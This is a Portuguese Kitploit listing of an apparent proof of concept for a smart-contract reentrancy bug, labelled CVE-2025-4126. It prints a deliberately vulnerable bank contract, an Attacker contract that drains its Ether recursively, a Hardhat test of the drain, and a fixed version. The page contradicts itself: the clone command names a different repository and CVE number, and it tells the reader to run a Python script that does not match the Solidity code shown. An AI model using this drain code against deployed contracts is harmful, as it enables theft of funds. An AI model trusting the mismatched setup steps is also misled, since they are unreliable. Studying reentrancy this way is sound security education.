Skip to content
KitploitKITPLOIT
FerramentasBlog
Enviar
FerramentasBlog
Enviar

Ferramentas de Hacking, PenTest e Cibersegurança para o seu Arsenal de Segurança!

Kitploit é um diretório de ferramentas de hacking, cibersegurança e pentesting. Descubra as últimas atualizações de projetos para encontrar vulnerabilidades, analisar sistemas, automatizar testes e fortalecer sua segurança.

··Feeds·Contato·Privacidade·© 2026 Kitploit

Diretório de Ferramentas

Categorias

Ver todas as categorias
Loading categories
CVE-2025-4126 — POC de vulnerabilidade de ataque de reentrância em contratos inteligentes | Kitploit
Ferramentas/GitHubGitHub/slow-mist/cve-2025-4126
Análise de VulnerabilidadesExploraçãoExploração de Aplicações WebAprendizado e EducaçãoLabs e Prática
GitHubslow-mist/cve-2025-4126

CVE-2025-4126

POC de vulnerabilidade de ataque de reentrância em contratos inteligentes

Ver Repositório
1há 1 anoAinda não revisado

Mais Populares

Ver todos →

Descubra as ferramentas mais usadas pela nossa comunidade.

Explore todas as ferramentas

Navegue pela nossa coleção de ferramentas

Ver todas as ferramentas →
Compartilhar

POC-CVE-2025-4126

validação de vulnerabilidade de ataque de reentrância em smart contract

PoC de Ataque de Reentrância em Smart Contract

Este repositório contém uma Prova de Conceito (PoC) demonstrando uma vulnerabilidade de ataque de reentrância em smart contracts Ethereum. A PoC inclui um smart contract vulnerável, um contract atacante e instruções para reproduzir o ataque em um ambiente de teste local.

Tabela de Conteúdos

  • Visão Geral
  • Descrição da Vulnerabilidade
  • Configuração da PoC
  • Executando a PoC
  • Licença

Visão Geral

Reentrância é uma vulnerabilidade comum em smart contracts Ethereum na qual um contract externo pode fazer chamadas repetidas de volta ao contract original antes que a primeira chamada seja concluída, potencialmente drenando fundos ou manipulando o estado. Esta PoC demonstra como um atacante pode explorar um contract vulnerável para roubar Ether.

Descrição da Vulnerabilidade

O contract vulnerável (VulnerableBank) permite que usuários depositem e retirem Ether. No entanto, ele não lida adequadamente com atualizações de estado antes de fazer chamadas externas, tornando-o suscetível à reentrância. O contract atacante (Attacker) explora isso chamando recursivamente a função withdraw para drenar o saldo de Ether do contract.

Problema Principal

  • A função withdraw em VulnerableBank envia Ether para o chamador antes de atualizar o saldo do usuário.
  • Isso permite que o contract do atacante chame withdraw novamente em sua função fallback, drenando os fundos do contract.

Configuração da PoC

Para executar esta PoC, você precisa de:

  • python3.x
  • pip3

Instalação e Execução

  1. Clone este repositório:
    root@kitploit:~
    git clone https://github.com/Layer1-Artist/POC-CVE-2025-48621.git
    cd POC-CVE-2025-48621
    
  2. Execute:
    root@kitploit:~
    python3 poc.py
    

Código da PoC

Abaixo estão os dois contracts usados nesta PoC:

VulnerableBank.sol

Este contract simula um banco simples que permite depósitos e retiradas, mas é vulnerável à reentrância.

root@kitploit:~
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

contract VulnerableBank {
    mapping(address => uint256) public balances;

    function deposit() public payable {
        balances[msg.sender] += msg.value;
    }

    function withdraw() public {
        uint256 amount = balances[msg.sender];
        require(amount > 0, "No balance to withdraw");

        // Vulnerable: External call before state update
        (bool success, ) = msg.sender.call{value: amount}("");
        require(success, "Transfer failed");

        // State update after external call
        balances[msg.sender] = 0;
    }

    function getBalance() public view returns (uint256) {
        return address(this).balance;
    }
}

Attacker.sol

Este contract explora a vulnerabilidade de reentrância chamando recursivamente a função withdraw.

root@kitploit:~
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

contract Attacker {
    VulnerableBank public vulnerableBank;
    uint256 public constant WITHDRAW_AMOUNT = 1 ether;

    constructor(address _vulnerableBankAddress) {
        vulnerableBank = VulnerableBank(_vulnerableBankAddress);
    }

    // Initiate the attack
    function attack() external payable {
        require(msg.value >= WITHDRAW_AMOUNT, "Need at least 1 Ether to attack");
        vulnerableBank.deposit{value: WITHDRAW_AMOUNT}();
        vulnerableBank.withdraw();
    }

    // Fallback function to recursively call withdraw
    receive() external payable {
        if (address(vulnerableBank).balance >= WITHDRAW_AMOUNT) {
            vulnerableBank.withdraw();
        }
    }

    // Withdraw stolen Ether to attacker's address
    function withdrawFunds() external {
        payable(msg.sender).transfer(address(this).balance);
    }

    function getBalance() public view returns (uint256) {
        return address(this).balance;
    }
}

Script de Teste Hardhat

Um script de teste Hardhat está incluído para automatizar a simulação do ataque.

root@kitploit:~
const { expect } = require("chai");
const { ethers } = require("hardhat");

describe("Reentrancy Attack PoC", function () {
  let vulnerableBank, attacker, owner, attackerAddr;

  beforeEach(async function () {
    // Deploy VulnerableBank
    const VulnerableBank = await ethers.getContractFactory("VulnerableBank");
    vulnerableBank = await VulnerableBank.deploy();
    await vulnerableBank.deployed();

    // Deploy Attacker
    const Attacker = await ethers.getContractFactory("Attacker");
    [owner, attackerAddr] = await ethers.getSigners();
    attacker = await Attacker.deploy(vulnerableBank.address);
    await attacker.deployed();

    // Fund VulnerableBank with 10 Ether
    await owner.sendTransaction({
      to: vulnerableBank.address,
      value: ethers.utils.parseEther("10"),
    });
  });

  it("should drain VulnerableBank via reentrancy", async function () {
    // Initial balances
    const initialBankBalance = await vulnerableBank.getBalance();
    console.log(`Initial Bank Balance: ${ethers.utils.formatEther(initialBankBalance)} ETH`);

    // Execute attack with 1 Ether
    await attacker.connect(attackerAddr).attack({ value: ethers.utils.parseEther("1") });

    // Check final balances
    const finalBankBalance = await vulnerableBank.getBalance();
    const attackerBalance = await attacker.getBalance();
    console.log(`Final Bank Balance: ${ethers.utils.formatEther(finalBankBalance)} ETH`);
    console.log(`Attacker Balance: ${ethers.utils.formatEther(attackerBalance)} ETH`);

    expect(finalBankBalance).to.equal(0, "Bank should be drained");
    expect(attackerBalance).to.be.above(0, "Attacker should have stolen funds");
  });
});

Saída Esperada

  • Saldo inicial do banco: 10 ETH
  • Saldo final do banco: 0 ETH
  • Saldo do atacante: ~10 ETH (menos taxas de gás)

Mitigação

Para prevenir ataques de reentrância, considere as seguintes práticas recomendadas:

  1. Padrão Checks-Effects-Interactions: Atualize o estado (ex.: saldos) antes de fazer chamadas externas.
  2. Proteção de Reentrância: Use um modificador (ex.: ReentrancyGuard da OpenZeppelin) para prevenir chamadas recursivas.
  3. Limitar Gás: Restrinja o gás enviado para chamadas externas para evitar lógica de reentrância complexa.
  4. Usar transfer ou send: Esses métodos limitam o gás, reduzindo o risco de reentrância.

Exemplo de Correção para VulnerableBank.sol

root@kitploit:~
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

import "@openzeppelin/contracts/security/ReentrancyGuard.sol";

contract SecureBank is ReentrancyGuard {
    mapping(address => uint256) public balances;

    function deposit() public payable {
        balances[msg.sender] += msg.value;
    }

    function withdraw() public nonReentrant {
        uint256 amount = balances[msg.sender];
        require(amount > 0, "No balance to withdraw");

        // Update state first
        balances[msg.sender] = 0;

        // Then make external call
        (bool success, ) = msg.sender.call{value: amount}("");
        require(success, "Transfer failed");
    }

    function getBalance() public view returns (uint256) {
        return address(this).balance;
    }
}

Licença

Este projeto está licenciado sob a Licença MIT - veja o arquivo LICENSE para detalhes.

Baixar ferramenta